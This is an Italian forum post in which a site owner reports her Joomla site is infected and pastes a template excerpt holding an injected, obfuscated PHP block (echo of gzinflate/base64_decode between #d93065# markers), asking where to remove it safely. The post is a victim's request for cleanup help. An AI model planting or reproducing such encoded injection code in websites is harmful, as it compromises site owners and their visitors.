Salve a tutti,
ho il sito infetto
ora pare che sono riuscita a trovare dei file infetti con relativa stringa malevola tipo questa:
$showRightColumn &= JRequest::getCmd('task') != 'edit'

#d93065#
echo(gzinflate(base64_decode("tVVNb5tAEP0t5WKohcsC +4HI9tCeeu4R+WBhnEzkGArUVmTlv3dmWBw7xW5UKbKNZ3dn37 yZecvedWULTf+1tEkocrChCMW8zBvbrNqu+rHrc9j4je9Fwpt7 Mf4SL7DWmiTo2+fjt7reVqudHxRe0+Ji3dc9/j03lbdc/HopV3354Ff31eG+WwdHRDrAbl0fFuu6/P1U7fpgY4tZmMRAP5WCEhBmEAqQGegIpAGtQBlQESickSBBxTR CM8ZpzStn6zqFWIKJIE1AKnJONBvsg8BhDFIzdkZuOEQT8UCSZ ZAJ4o6MXlnp5BUFbQSKQJgLZ5MSd2KiiQaFy6YAr6emDWFjQBw 5thpENkEBkTEEzRiIOQuVcPr4FSCwLPhBC3cO4dSAm1KUhCMzg 4hNDm9ARMDbCYoLRVHMiCFpfoiFG90ywUbMb2Tw1kNzNiZyvRq WtXZsCJttpV3e6En0ExdWZq5AWGwkRYTTsUIpJ5aRPxZGctX1U H7lSihOGhE0g56akSQjidMEcooFl3qi2DH3YbLfZ0PaxLWU5oJ dmN2Q0IQ8NGdDDpk7DjH3+7ps5CCbiPdx2pNHYxD/hJbiITeclk641Md01FPiunQq6gB00h/ayUcp8ILYuY7kPzR0OhRvZIST1xGv6GvAuiaxW4jn2nPKv81g1 OW083s7c3lmx/64M/k/vf77mE+Bvv9F94HvcMmnQLCKGBB9YuWUgLEkXy9q8v09WxbRct E1W+j9GcyCfG+9Cq+z/QofWy9/wQtsH1R2uMSK/TI/2E3e2WKZt/Zn38LuPt/UrZ9LpT9ZyGFuRXB8RKuz3bwtvA3i8DX59B2fDyuyyarXeF/6h+Jx+VnMUxFwpCqo/C7I7764G/oP")));
#/d93065#
?>
<?php echo '<?xml version="1.0" encoding="utf-8"?'.'>'; ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<head>

da quale punto devo rimuoverla senza causare danni terribili?
grazie in anticipo